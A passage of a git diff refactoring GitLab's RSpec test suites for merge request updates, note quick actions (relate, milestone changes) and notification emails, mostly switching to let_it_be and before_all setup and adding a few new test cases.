end
context 'after_save callback to store_mentions' do
@@ -379,11 +404,31 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
end
end
- context 'when the milestone is removed' do
+ context 'when reviewers gets changed' do
before do
- stub_feature_flags(track_resource_milestone_change_events: false)
+ update_merge_request({ reviewer_ids: [user2.id] })
+ end
+
+ it 'marks pending todo as done' do
+ expect(pending_todo.reload).to be_done
+ end
+
+ it 'creates a pending todo for new review request' do
+ attributes = {
+ project: project,
+ author: user,
+ user: user2,
+ target_id: merge_request.id,
+ target_type: merge_request.class.name,
+ action: Todo::REVIEW_REQUESTED,
+ state: :pending
+ }
+
+ expect(Todo.where(attributes).count).to eq 1
end
+ end
+ context 'when the milestone is removed' do
let!(:non_subscriber) { create(:user) }
let!(:subscriber) do
@@ -393,12 +438,10 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
end
end
- it_behaves_like 'system notes for milestones'
-
it 'sends notifications for subscribers of changed milestone', :sidekiq_might_not_need_inline do
merge_request.milestone = create(:milestone, project: project)
- merge_request.save
+ merge_request.save!
perform_enqueued_jobs do
update_merge_request(milestone_id: "")
@@ -410,10 +453,6 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
end
context 'when the milestone is changed' do
- before do
- stub_feature_flags(track_resource_milestone_change_events: false)
- end
-
let!(:non_subscriber) { create(:user) }
let!(:subscriber) do
@@ -429,8 +468,6 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
expect(pending_todo.reload).to be_done
end
- it_behaves_like 'system notes for milestones'
-
it 'sends notifications for subscribers of changed milestone', :sidekiq_might_not_need_inline do
perform_enqueued_jobs do
update_merge_request(milestone: create(:milestone, project: project))
@@ -628,7 +665,7 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
context 'updating asssignee_ids' do
it 'does not update assignee when assignee_id is invalid' do
- merge_request.update(assignee_ids: [user.id])
+ merge_request.update!(assignee_ids: [user.id])
update_merge_request(assignee_ids: [-1])
@@ -636,7 +673,7 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
end
it 'unassigns assignee when user id is 0' do
- merge_request.update(assignee_ids: [user.id])
+ merge_request.update!(assignee_ids: [user.id])
update_merge_request(assignee_ids: [0])
@@ -664,7 +701,7 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
levels.each do |level|
it "does not update with unauthorized assignee when project is #{Gitlab::VisibilityLevel.level_name(level)}" do
assignee = create(:user)
- project.update(visibility_level: level)
+ project.update!(visibility_level: level)
feature_visibility_attr = :"#{merge_request.model_name.plural}_access_level"
project.project_feature.update_attribute(feature_visibility_attr, ProjectFeature::PRIVATE)
diff --git a/spec/services/metrics/dashboard/gitlab_alert_embed_service_spec.rb b/spec/services/metrics/dashboard/gitlab_alert_embed_service_spec.rb
index dd9d498e307..d5928b1b5af 100644
--- a/spec/services/metrics/dashboard/gitlab_alert_embed_service_spec.rb
+++ b/spec/services/metrics/dashboard/gitlab_alert_embed_service_spec.rb
@@ -10,9 +10,8 @@ RSpec.describe Metrics::Dashboard::GitlabAlertEmbedService do
let_it_be(:user) { create(:user) }
let(:alert_id) { alert.id }
- before do
+ before_all do
project.add_maintainer(user)
- project.clear_memoization(:licensed_feature_available)
end
describe '.valid_params?' do
diff --git a/spec/services/note_summary_spec.rb b/spec/services/note_summary_spec.rb
index 38174748b19..ad244f62292 100644
--- a/spec/services/note_summary_spec.rb
+++ b/spec/services/note_summary_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe NoteSummary do
describe '#note' do
it 'returns note hash' do
- Timecop.freeze do
+ freeze_time do
expect(create_note_summary.note).to eq(noteable: noteable, project: project, author: user, note: 'note',
created_at: Time.current)
end
diff --git a/spec/services/notes/create_service_spec.rb b/spec/services/notes/create_service_spec.rb
index f087f72ca46..7c0d4b756bd 100644
--- a/spec/services/notes/create_service_spec.rb
+++ b/spec/services/notes/create_service_spec.rb
@@ -41,7 +41,7 @@ RSpec.describe Notes::CreateService do
end
it 'TodoService#new_note is called' do
- note = build(:note, project: project)
+ note = build(:note, project: project, noteable: issue)
allow(Note).to receive(:new).with(opts) { note }
expect_any_instance_of(TodoService).to receive(:new_note).with(note, user)
@@ -50,13 +50,23 @@ RSpec.describe Notes::CreateService do
end
it 'enqueues NewNoteWorker' do
- note = build(:note, id: non_existing_record_id, project: project)
+ note = build(:note, id: non_existing_record_id, project: project, noteable: issue)
allow(Note).to receive(:new).with(opts) { note }
expect(NewNoteWorker).to receive(:perform_async).with(note.id)
described_class.new(project, user, opts).execute
end
+
+ context 'issue is an incident' do
+ subject { described_class.new(project, user, opts).execute }
+
+ let(:issue) { create(:incident, project: project) }
+
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_comment do
+ let(:current_user) { user }
+ end
+ end
end
context 'noteable highlight cache clearing' do
diff --git a/spec/services/notes/quick_actions_service_spec.rb b/spec/services/notes/quick_actions_service_spec.rb
index e9decd44730..64aa845841b 100644
--- a/spec/services/notes/quick_actions_service_spec.rb
+++ b/spec/services/notes/quick_actions_service_spec.rb
@@ -4,9 +4,9 @@ require 'spec_helper'
RSpec.describe Notes::QuickActionsService do
shared_context 'note on noteable' do
- let(:project) { create(:project, :repository) }
- let(:maintainer) { create(:user).tap { |u| project.add_maintainer(u) } }
- let(:assignee) { create(:user) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:maintainer) { create(:user).tap { |u| project.add_maintainer(u) } }
+ let_it_be(:assignee) { create(:user) }
before do
project.add_maintainer(assignee)
@@ -30,10 +30,9 @@ RSpec.describe Notes::QuickActionsService do
end
it 'closes noteable, sets labels, assigns, and sets milestone to noteable, and leave no note' do
- content, update_params = service.execute(note)
- service.apply_updates(update_params, note)
+ content = execute(note)
- expect(content).to eq ''
+ expect(content).to be_empty
expect(note.noteable).to be_closed
expect(note.noteable.labels).to match_array(labels)
expect(note.noteable.assignees).to eq([assignee])
@@ -41,6 +40,30 @@ RSpec.describe Notes::QuickActionsService do
end
end
+ context '/relate' do
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:other_issue) { create(:issue, project: project) }
+ let(:note_text) { "/relate #{other_issue.to_reference}" }
+ let(:note) { create(:note_on_issue, noteable: issue, project: project, note: note_text) }
+
+ context 'user cannot relate issues' do
+ before do
+ project.team.find_member(maintainer.id).destroy!
+ project.update!(visibility: Gitlab::VisibilityLevel::PUBLIC)
+ end
+
+ it 'does not create issue relation' do
+ expect { execute(note) }.not_to change { IssueLink.count }
+ end
+ end
+
+ context 'user is allowed to relate issues' do
+ it 'creates issue relation' do
+ expect { execute(note) }.to change { IssueLink.count }.by(1)
+ end
+ end
+ end
+
describe '/reopen' do
before do
note.noteable.close!
@@ -49,10 +72,9 @@ RSpec.describe Notes::QuickActionsService do
let(:note_text) { '/reopen' }
it 'opens the noteable, and leave no note' do
- content, update_params = service.execute(note)
- service.apply_updates(update_params, note)
+ content = execute(note)
- expect(content).to eq ''
+ expect(content).to be_empty
expect(note.noteable).to be_open
end
end
@@ -62,10 +84,9 @@ RSpec.describe Notes::QuickActionsService do
let(:note_text) { '/spend 1h' }
it 'adds time to noteable, adds timelog with nil note_id and has no content' do
- content, update_params = service.execute(note)
- service.apply_updates(update_params, note)
+ content = execute(note)
- expect(content).to eq ''
+ expect(content).to be_empty
expect(note.noteable.time_spent).to eq(3600)
expect(Timelog.last.note_id).to be_nil
end
@@ -92,8 +113,7 @@ RSpec.describe Notes::QuickActionsService do
end
it 'closes noteable, sets labels, assigns, and sets milestone to noteable' do
- content, update_params = service.execute(note)
- service.apply_updates(update_params, note)
+ content = execute(note)
expect(content).to eq "HELLO\nWORLD"
expect(note.noteable).to be_closed
@@ -111,14 +131,87 @@ RSpec.describe Notes::QuickActionsService do
let(:note_text) { "HELLO\n/reopen\nWORLD" }
it 'opens the noteable' do
- content, update_params = service.execute(note)
- service.apply_updates(update_params, note)
+ content = execute(note)
expect(content).to eq "HELLO\nWORLD"
expect(note.noteable).to be_open
end
end
end
+
+ describe '/milestone' do
+ let(:issue) { create(:issue, project: project) }
+ let(:note_text) { %(/milestone %"#{milestone.name}") }
+ let(:note) { create(:note_on_issue, noteable: issue, project: project, note: note_text) }
+
+ context 'on an incident' do
+ before do
+ issue.update!(issue_type: :incident)
+ end
+
+ it 'leaves the note empty' do
+ expect(execute(note)).to be_empty
+ end
+
+ it 'does not assign the milestone' do
+ expect { execute(note) }.not_to change { issue.reload.milestone }
+ end
+ end
+
+ context 'on a merge request' do
+ let(:note_mr) { create(:note_on_merge_request, project: project, note: note_text) }
+
+ it 'leaves the note empty' do
+ expect(execute(note_mr)).to be_empty
+ end
+
+ it 'assigns the milestone' do
+ expect { execute(note) }.to change { issue.reload.milestone }.from(nil).to(milestone)
+ end
+ end
+ end
+
+ describe '/remove_milestone' do
+ let(:issue) { create(:issue, project: project, milestone: milestone) }
+ let(:note_text) { '/remove_milestone' }
+ let(:note) { create(:note_on_issue, noteable: issue, project: project, note: note_text) }
+
+ context 'on an issue' do
+ it 'leaves the note empty' do
+ expect(execute(note)).to be_empty
+ end
+
+ it 'removes the milestone' do
+ expect { execute(note) }.to change { issue.reload.milestone }.from(milestone).to(nil)
+ end
+ end
+
+ context 'on an incident' do
+ before do
+ issue.update!(issue_type: :incident)
+ end
+
+ it 'leaves the note empty' do
+ expect(execute(note)).to be_empty
+ end
+
+ it 'does not remove the milestone' do
+ expect { execute(note) }.not_to change { issue.reload.milestone }
+ end
+ end
+
+ context 'on a merge request' do
+ let(:note_mr) { create(:note_on_merge_request, project: project, note: note_text) }
+
+ it 'leaves the note empty' do
+ expect(execute(note_mr)).to be_empty
+ end
+
+ it 'removes the milestone' do
+ expect { execute(note) }.to change { issue.reload.milestone }.from(milestone).to(nil)
+ end
+ end
+ end
end
describe '.noteable_update_service' do
@@ -180,11 +273,13 @@ RSpec.describe Notes::QuickActionsService do
let(:service) { described_class.new(project, maintainer) }
it_behaves_like 'note on noteable that supports quick actions' do
- let(:note) { build(:note_on_issue, project: project) }
+ let_it_be(:issue, reload: true) { create(:issue, project: project) }
+ let(:note) { build(:note_on_issue, project: project, noteable: issue) }
end
it_behaves_like 'note on noteable that supports quick actions' do
- let(:note) { build(:note_on_merge_request, project: project) }
+ let(:merge_request) { create(:merge_request, source_project: project) }
+ let(:note) { build(:note_on_merge_request, project: project, noteable: merge_request) }
end
end
@@ -207,11 +302,17 @@ RSpec.describe Notes::QuickActionsService do
end
it 'adds only one assignee from the list' do
- _, update_params = service.execute(note)
- service.apply_updates(update_params, note)
+ execute(note)
expect(note.noteable.assignees.count).to eq(1)
end
end
end
+
+ def execute(note)
+ content, update_params = service.execute(note)
+ service.apply_updates(update_params, note)
+
+ content
+ end
end
diff --git a/spec/services/notification_service_spec.rb b/spec/services/notification_service_spec.rb
index 8186bc40bc0..03e24524f9f 100644
--- a/spec/services/notification_service_spec.rb
+++ b/spec/services/notification_service_spec.rb
@@ -7,8 +7,10 @@ RSpec.describe NotificationService, :mailer do
include ExternalAuthorizationServiceHelpers
include NotificationHelpers
+ let_it_be(:project, reload: true) { create(:project, :public) }
+ let_it_be_with_refind(:assignee) { create(:user) }
+
let(:notification) { described_class.new }
- let(:assignee) { create(:user) }
around(:example, :deliver_mails_inline) do |example|
# This is a temporary `around` hook until all the examples check the
@@ -149,9 +151,9 @@ RSpec.describe NotificationService, :mailer do
end
shared_examples_for 'participating notifications' do
- it_should_behave_like 'participating by note notification'
- it_should_behave_like 'participating by author notification'
- it_should_behave_like 'participating by assignee notification'
+ it_behaves_like 'participating by note notification'
+ it_behaves_like 'participating by author notification'
+ it_behaves_like 'participating by assignee notification'
end
describe '#async' do
@@ -272,97 +274,26 @@ RSpec.describe NotificationService, :mailer do
end
end
+ describe '#disabled_two_factor' do
+ let_it_be(:user) { create(:user) }
+
+ subject { notification.disabled_two_factor(user) }
+
+ it 'sends email to the user' do
+ expect { subject }.to have_enqueued_email(user, mail: 'disabled_two_factor_email')
+ end
+ end
+
describe 'Notes' do
context 'issue note' do
- let(:project) { create(:project, :private) }
- let(:issue) { create(:issue, project: project, assignees: [assignee]) }
- let(:mentioned_issue) { create(:issue, assignees: issue.assignees) }
- let(:author) { create(:user) }
+ let_it_be(:project) { create(:project, :private) }
+ let_it_be(:issue) { create(:issue, project: project, assignees: [assignee]) }
+ let_it_be(:mentioned_issue) { create(:issue, assignees: issue.assignees) }
+ let_it_be_with_reload(:author) { create(:user) }
let(:note) { create(:note_on_issue, author: author, noteable: issue, project_id: issue.project_id, note: '@mention referenced, @unsubscribed_mentioned and @outsider also') }
subject { notification.new_note(note) }
- before do
- build_team(project)
- project.add_maintainer(issue.author)
- project.add_maintainer(assignee)
- project.add_maintainer(author)
-
- @u_custom_off = create_user_with_notification(:custom, 'custom_off')
- project.add_guest(@u_custom_off)
-
- create(
- :note_on_issue,
- author: @u_custom_off,
- noteable: issue,
- project_id: issue.project_id,
- note: 'i think @subscribed_participant should see this'
- )
-
- update_custom_notification(:new_note, @u_guest_custom, resource: project)
- update_custom_notification(:new_note, @u_custom_global)
- end
-
- describe '#new_note' do
- context do
- before do
- add_users(project)
- add_user_subscriptions(issue)
- reset_delivered_emails!
- end
-
- it 'sends emails to recipients' do
- subject
-
- expect_delivery_jobs_count(10)
- expect_enqueud_email(@u_watcher.id, note.id, nil, mail: "note_issue_email")
- expect_enqueud_email(note.noteable.author.id, note.id, nil, mail: "note_issue_email")
- expect_enqueud_email(note.noteable.assignees.first.id, note.id, nil, mail: "note_issue_email")
- expect_enqueud_email(@u_custom_global.id, note.id, nil, mail: "note_issue_email")
- expect_enqueud_email(@u_mentioned.id, note.id, "mentioned", mail: "note_issue_email")
- expect_enqueud_email(@subscriber.id, note.id, "subscribed", mail: "note_issue_email")
- expect_enqueud_email(@watcher_and_subscriber.id, note.id, "subscribed", mail: "note_issue_email")
- expect_enqueud_email(@subscribed_participant.id, note.id, "subscribed", mail: "note_issue_email")
- expect_enqueud_email(@u_custom_off.id, note.id, nil, mail: "note_issue_email")
- expect_enqueud_email(@unsubscribed_mentioned.id, note.id, "mentioned", mail: "note_issue_email")
- end
-
- it "emails the note author if they've opted into notifications about their activity", :deliver_mails_inline do
- note.author.notified_of_own_activity = true
-
- notification.new_note(note)
-
- should_email(note.author)
- expect(find_email_for(note.author)).to have_header('X-GitLab-NotificationReason', 'own_activity')
- end
-
- it_behaves_like 'project emails are disabled', check_delivery_jobs_queue: true do
- let(:notification_target) { note }
- let(:notification_trigger) { notification.new_note(note) }
- end
- end
-
- it 'filters out "mentioned in" notes' do
- mentioned_note = SystemNoteService.cross_reference(mentioned_issue, issue, issue.author)
- reset_delivered_emails!
-
- notification.new_note(mentioned_note)
-
- expect_no_delivery_jobs
- end
-
- context 'participating' do
- context 'by note' do
- before do
- note.author = @u_lazy_participant
- note.save
- end
-
- it { expect { subject }.not_to have_enqueued_email(@u_lazy_participant.id, note.id, mail: "note_issue_email") }
- end
- end
- end
-
context 'on service desk issue' do
before do
allow(Notify).to receive(:service_desk_new_note_email)
@@ -436,73 +367,158 @@ RSpec.describe NotificationService, :mailer do
end
end
- describe 'new note on issue in project that belongs to a group' do
- before do
- note.project.namespace_id = group.id
- group.add_user(@u_watcher, GroupMember::MAINTAINER)
- group.add_user(@u_custom_global, GroupMember::MAINTAINER)
- note.project.save
+ describe '#new_note' do
+ before_all do
+ build_team(project)
+ project.add_maintainer(issue.author)
+ project.add_maintainer(assignee)
+ project.add_maintainer(author)
+
+ @u_custom_off = create_user_with_notification(:custom, 'custom_off')
+ project.add_guest(@u_custom_off)
+
+ create(
+ :note_on_issue,
+ author: @u_custom_off,
+ noteable: issue,
+ project_id: issue.project_id,
+ note: 'i think @subscribed_participant should see this'
+ )
- @u_watcher.notification_settings_for(note.project).participating!
- @u_watcher.notification_settings_for(group).global!
+ update_custom_notification(:new_note, @u_guest_custom, resource: project)
update_custom_notification(:new_note, @u_custom_global)
- reset_delivered_emails!
end
- shared_examples 'new note notifications' do
- it 'sends notifications', :deliver_mails_inline do
+ context 'with users' do
+ before_all do
+ add_users(project)
+ add_user_subscriptions(issue)
+ end
+
+ before do
+ reset_delivered_emails!
+ end
+
+ it 'sends emails to recipients', :aggregate_failures do
+ subject
+
+ expect_delivery_jobs_count(10)
+ expect_enqueud_email(@u_watcher.id, note.id, nil, mail: "note_issue_email")
+ expect_enqueud_email(note.noteable.author.id, note.id, nil, mail: "note_issue_email")
+ expect_enqueud_email(note.noteable.assignees.first.id, note.id, nil, mail: "note_issue_email")
+ expect_enqueud_email(@u_custom_global.id, note.id, nil, mail: "note_issue_email")
+ expect_enqueud_email(@u_mentioned.id, note.id, "mentioned", mail: "note_issue_email")
+ expect_enqueud_email(@subscriber.id, note.id, "subscribed", mail: "note_issue_email")
+ expect_enqueud_email(@watcher_and_subscriber.id, note.id, "subscribed", mail: "note_issue_email")
+ expect_enqueud_email(@subscribed_participant.id, note.id, "subscribed", mail: "note_issue_email")
+ expect_enqueud_email(@u_custom_off.id, note.id, nil, mail: "note_issue_email")
+ expect_enqueud_email(@unsubscribed_mentioned.id, note.id, "mentioned", mail: "note_issue_email")
+ end
+
+ it "emails the note author if they've opted into notifications about their activity", :deliver_mails_inline do
+ note.author.notified_of_own_activity = true
+
notification.new_note(note)
- should_email(note.noteable.author)
- should_email(note.noteable.assignees.first)
- should_email(@u_mentioned)
- should_email(@u_custom_global)
- should_not_email(@u_guest_custom)
- should_not_email(@u_guest_watcher)
- should_not_email(@u_watcher)
- should_not_email(note.author)
- should_not_email(@u_participating)
- should_not_email(@u_disabled)
- should_not_email(@u_lazy_participant)
+ should_email(note.author)
+ expect(find_email_for(note.author)).to have_header('X-GitLab-NotificationReason', 'own_activity')
+ end
- expect(find_email_for(@u_mentioned)).to have_header('X-GitLab-NotificationReason', 'mentioned')
- expect(find_email_for(@u_custom_global)).to have_header('X-GitLab-NotificationReason', '')
+ it_behaves_like 'project emails are disabled', check_delivery_jobs_queue: true do
+ let(:notification_target) { note }
+ let(:notification_trigger) { notification.new_note(note) }
end
end
- let(:group) { create(:group) }
+ it 'filters out "mentioned in" notes' do
+ mentioned_note = SystemNoteService.cross_reference(mentioned_issue, issue, issue.author)
+ reset_delivered_emails!
- it_behaves_like 'new note notifications'
+ notification.new_note(mentioned_note)
- it_behaves_like 'project emails are disabled', check_delivery_jobs_queue: true do
- let(:notification_target) { note }
- let(:notification_trigger) { notification.new_note(note) }
+ expect_no_delivery_jobs
end
- context 'which is a subgroup' do
- let!(:parent) { create(:group) }
- let!(:group) { create(:group, parent: parent) }
+ context 'participating' do
+ context 'by note' do
+ before do
+ note.author = @u_lazy_participant
+ note.save
+ end
- it_behaves_like 'new note notifications'
+ it { expect { subject }.not_to have_enqueued_email(@u_lazy_participant.id, note.id, mail: "note_issue_email") }
+ end
+ end
+
+ context 'in project that belongs to a group' do
+ let_it_be(:parent_group) { create(:group) }
- it 'overrides child objects with global level' do
- user = create(:user)
- parent.add_developer(user)
- user.notification_settings_for(parent).watch!
+ before do
+ note.project.namespace_id = group.id
+ group.add_user(@u_watcher, GroupMember::MAINTAINER)
+ group.add_user(@u_custom_global, GroupMember::MAINTAINER)
+ note.project.save
+
+ @u_watcher.notification_settings_for(note.project).participating!
+ @u_watcher.notification_settings_for(group).global!
+ update_custom_notification(:new_note, @u_custom_global)
reset_delivered_emails!
+ end
- notification.new_note(note)
+ shared_examples 'new note notifications' do
+ it 'sends notifications', :deliver_mails_inline do
+ notification.new_note(note)
+
+ should_email(note.noteable.author)
+ should_email(note.noteable.assignees.first)
+ should_email(@u_mentioned)
+ should_email(@u_custom_global)
+ should_not_email(@u_guest_custom)
+ should_not_email(@u_guest_watcher)
+ should_not_email(@u_watcher)
+ should_not_email(note.author)
+ should_not_email(@u_participating)
+ should_not_email(@u_disabled)
+ should_not_email(@u_lazy_participant)
+
+ expect(find_email_for(@u_mentioned)).to have_header('X-GitLab-NotificationReason', 'mentioned')
+ expect(find_email_for(@u_custom_global)).to have_header('X-GitLab-NotificationReason', '')
+ end
+ end
+
+ context 'which is a top-level group' do
+ let!(:group) { parent_group }
- expect_enqueud_email(user.id, note.id, nil, mail: "note_issue_email")
+ it_behaves_like 'new note notifications'
+
+ it_behaves_like 'project emails are disabled', check_delivery_jobs_queue: true do
+ let(:notification_target) { note }
+ let(:notification_trigger) { notification.new_note(note) }
+ end
+ end
+
+ context 'which is a subgroup' do
+ let!(:group) { create(:group, parent: parent_group) }
+
+ it_behaves_like 'new note notifications'
+
+ it 'overrides child objects with global level' do
+ user = create(:user)
+ parent_group.add_developer(user)
+ user.notification_settings_for(parent_group).watch!
+ reset_delivered_emails!
+
+ notification.new_note(note)
+
+ expect_enqueud_email(user.id, note.id, nil, mail: "note_issue_email")
+ end
end
end
end
end
context 'confidential issue note' do
- let(:project) { create(:project, :public) }
let(:author) { create(:user) }
- let(:assignee) { create(:user) }
let(:non_member) { create(:user) }
let(:member) { create(:user) }
let(:guest) { create(:user) }
@@ -556,18 +572,20 @@ RSpec.describe NotificationService, :mailer do
end
context 'issue note mention', :deliver_mails_inline do
- let(:project) { create(:project, :public) }
- let(:issue) { create(:issue, project: project, assignees: [assignee]) }
- let(:mentioned_issue) { create(:issue, assignees: issue.assignees) }
- let(:author) { create(:user) }
+ let_it_be(:issue) { create(:issue, project: project, assignees: [assignee]) }
+ let_it_be(:mentioned_issue) { create(:issue, assignees: issue.assignees) }
+ let_it_be(:author) { create(:user) }
let(:note) { create(:note_on_issue, author: author, noteable: issue, project_id: issue.project_id, note: '@all mentioned') }
- before do
+ before_all do
build_team(project)
build_group(project)
add_users(project)
add_user_subscriptions(issue)
project.add_maintainer(author)
+ end
+
+ before do
reset_delivered_emails!
end
@@ -622,7 +640,6 @@ RSpec.describe NotificationService, :mailer do
end
context 'project snippet note', :deliver_mails_inline do
- let!(:project) { create(:project, :public) }
let(:snippet) { create(:project_snippet, project: project, author: create(:user)) }
let(:author) { create(:user) }
let(:note) { create(:note_on_project_snippet, author: author, noteable: snippet, project_id: project.id, note: '@all mentioned') }
@@ -715,18 +732,21 @@ RSpec.describe NotificationService, :mailer do
end
context 'commit note', :deliver_mails_inline do
- let(:project) { create(:project, :public, :repository) }
- let(:note) { create(:note_on_commit, project: project) }
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:note) { create(:note_on_commit, project: project) }
- before do
- build_team(note.project)
+ before_all do
+ build_team(project)
build_group(project)
- reset_delivered_emails!
- allow(note.noteable).to receive(:author).and_return(@u_committer)
update_custom_notification(:new_note, @u_guest_custom, resource: project)
update_custom_notification(:new_note, @u_custom_global)
end
+ before do
+ reset_delivered_emails!
+ allow(note.noteable).to receive(:author).and_return(@u_committer)
+ end
+
describe '#new_note, #perform_enqueued_jobs' do
it do
notification.new_note(note)
@@ -774,12 +794,12 @@ RSpec.describe NotificationService, :mailer do
end
context "merge request diff note", :deliver_mails_inline do
- let(:project) { create(:project, :repository) }
- let(:user) { create(:user) }
- let(:merge_request) { create(:merge_request, source_project: project, assignees: [user], author: create(:user)) }
- let(:note) { create(:diff_note_on_merge_request, project: project, noteable: merge_request) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:merge_request) { create(:merge_request, source_project: project, assignees: [user], author: create(:user)) }
+ let_it_be(:note) { create(:diff_note_on_merge_request, project: project, noteable: merge_request) }
- before do
+ before_all do
build_team(note.project)
project.add_maintainer(merge_request.author)
merge_request.assignees.each { |assignee| project.add_maintainer(assignee) }
@@ -878,11 +898,11 @@ RSpec.describe NotificationService, :mailer do
end
describe 'Participating project notification settings have priority over group and global settings if available', :deliver_mails_inline do
- let!(:group) { create(:group) }
- let!(:maintainer) { group.add_owner(create(:user, username: 'maintainer')).user }
- let!(:user1) { group.add_developer(create(:user, username: 'user_with_project_and_custom_setting')).user }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:maintainer) { group.add_owner(create(:user, username: 'maintainer')).user }
+ let_it_be(:user1) { group.add_developer(create(:user, username: 'user_with_project_and_custom_setting')).user }
+ let_it_be(:project) { create(:project, :public, namespace: group) }
- let(:project) { create(:project, :public, namespace: group) }
let(:issue) { create :issue, project: project, assignees: [assignee], description: '' }
before do
@@ -936,20 +956,25 @@ RSpec.describe NotificationService, :mailer do
end
describe 'Issues', :deliver_mails_inline do
- let(:group) { create(:group) }
- let(:project) { create(:project, :public, namespace: group) }
let(:another_project) { create(:project, :public, namespace: group) }
let(:issue) { create :issue, project: project, assignees: [assignee], description: 'cc @participant @unsubscribed_mentioned' }
- before do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :public, namespace: group) }
+
+ before_all do
build_team(project)
build_group(project)
-
add_users(project)
+ end
+
+ before do
add_user_subscriptions(issue)
reset_delivered_emails!
update_custom_notification(:new_issue, @u_guest_custom, resource: project)
update_custom_notification(:new_issue, @u_custom_global)
+
+ issue.author.notified_of_own_activity = false
end
describe '#new_issue' do
@@ -1066,7 +1091,6 @@ RSpec.describe NotificationService, :mailer do
context 'confidential issues' do
let(:author) { create(:user) }
- let(:assignee) { create(:user) }
let(:non_member) { create(:user) }
let(:member) { create(:user) }
let(:guest) { create(:user) }
@@ -1272,7 +1296,6 @@ RSpec.describe NotificationService, :mailer do
context 'confidential issues' do
let(:author) { create(:user) }
- let(:assignee) { create(:user) }
let(:non_member) { create(:user) }
let(:member) { create(:user) }
let(:guest) { create(:user) }
@@ -1325,7 +1348,6 @@ RSpec.describe NotificationService, :mailer do
context 'confidential issues' do
let(:author) { create(:user) }
- let(:assignee) { create(:user) }
let(:non_member) { create(:user) }
let(:member) { create(:user) }
let(:guest) { create(:user) }
@@ -1377,7 +1399,6 @@ RSpec.describe NotificationService, :mailer do
context 'confidential issues' do
let(:author) { create(:user) }
- let(:assignee) { create(:user) }
let(:non_member) { create(:user) }
let(:member) { create(:user) }
let(:guest) { create(:user) }
@@ -1571,19 +1592,23 @@ RSpec.describe NotificationService, :mailer do
end
describe 'Merge Requests', :deliver_mails_inline do
- let(:group) { create(:group) }
- let(:project) { create(:project, :public, :repository, namespace: group) }
let(:another_project) { create(:project, :public, namespace: group) }
- let(:assignee) { create(:user) }
let(:assignees) { Array.wrap(assignee) }
- let(:author) { create(:user) }
let(:merge_request) { create :merge_request, author: author, source_project: project, assignees: assignees, description: 'cc @participant' }
- before do
- project.add_maintainer(author)
- assignees.each { |assignee| project.add_maintainer(assignee) }
+ let_it_be_with_reload(:author) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :public, :repository, namespace: group) }
+
+ before_all do
build_team(project)
add_users(project)
+
+ project.add_maintainer(author)
+ project.add_maintainer(assignee)
+ end
+
+ before do
add_user_subscriptions(merge_request)
update_custom_notification(:new_merge_request, @u_guest_custom, resource: project)
update_custom_notification(:new_merge_request, @u_custom_global)
@@ -1667,13 +1692,13 @@ RSpec.describe NotificationService, :mailer do
end
context 'participating' do
- it_should_behave_like 'participating by assignee notification' do
+ it_behaves_like 'participating by assignee notification' do
let(:participant) { create(:user, username: 'user-participant')}
let(:issuable) { merge_request }
let(:notification_trigger) { notification.new_merge_request(merge_request, @u_disabled) }
end
- it_should_behave_like 'participating by note notification' do
+ it_behaves_like 'participating by note notification' do
let(:participant) { create(:user, username: 'user-participant')}
let(:issuable) { merge_request }
let(:notification_trigger) { notification.new_merge_request(merge_request, @u_disabled) }
@@ -2066,9 +2091,7 @@ RSpec.describe NotificationService, :mailer do
end
describe 'Projects', :deliver_mails_inline do
- let(:project) { create(:project) }
-
- before do
+ before_all do
build_team(project)
reset_delivered_emails!
end
@@ -2293,7 +2316,6 @@ RSpec.describe NotificationService, :mailer do
end
describe 'ProjectMember', :deliver_mails_inline do
- let(:project) { create(:project) }
let(:added_user) { create(:user) }
describe '#new_access_request' do
@@ -2327,7 +2349,6 @@ RSpec.describe NotificationService, :mailer do
end
it_behaves_like 'sends notification only to a maximum of ten, most recently active project maintainers' do
- let(:project) { create(:project, :public) }
let(:notification_trigger) { project.request_access(added_user) }
end
end
@@ -2457,7 +2478,6 @@ RSpec.describe NotificationService, :mailer do
let(:private_project) { create(:project, :private) }
let(:guest) { create(:user) }
let(:developer) { create(:user) }
- let(:assignee) { create(:user) }
let(:merge_request) { create(:merge_request, source_project: private_project, assignees: [assignee]) }
let(:merge_request1) { create(:merge_request, source_project: private_project, assignees: [assignee], description: "cc @#{guest.username}") }
let(:note) { create(:note, noteable: merge_request, project: private_project) }
@@ -2510,15 +2530,15 @@ RSpec.describe NotificationService, :mailer do
describe 'Pipelines', :deliver_mails_inline do
describe '#pipeline_finished' do
- let(:project) { create(:project, :public, :repository) }
- let(:u_member) { create(:user) }
- let(:u_watcher) { create_user_with_notification(:watch, 'watcher') }
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:u_member) { create(:user) }
+ let_it_be(:u_watcher) { create_user_with_notification(:watch, 'watcher') }
- let(:u_custom_notification_unset) do
+ let_it_be(:u_custom_notification_unset) do
create_user_with_notification(:custom, 'custom_unset')
end
- let(:u_custom_notification_enabled) do
+ let_it_be(:u_custom_notification_enabled) do
user = create_user_with_notification(:custom, 'custom_enabled')
update_custom_notification(:success_pipeline, user, resource: project)
update_custom_notification(:failed_pipeline, user, resource: project)
@@ -2526,7 +2546,7 @@ RSpec.describe NotificationService, :mailer do
user
end
- let(:u_custom_notification_disabled) do
+ let_it_be(:u_custom_notification_disabled) do
user = create_user_with_notification(:custom, 'custom_disabled')
update_custom_notification(:success_pipeline, user, resource: project, value: false)
update_custom_notification(:failed_pipeline, user, resource: project, value: false)
@@ -2545,13 +2565,15 @@ RSpec.describe NotificationService, :mailer do
before_sha: '00000000')
end
- before do
+ before_all do
project.add_maintainer(u_member)
project.add_maintainer(u_watcher)
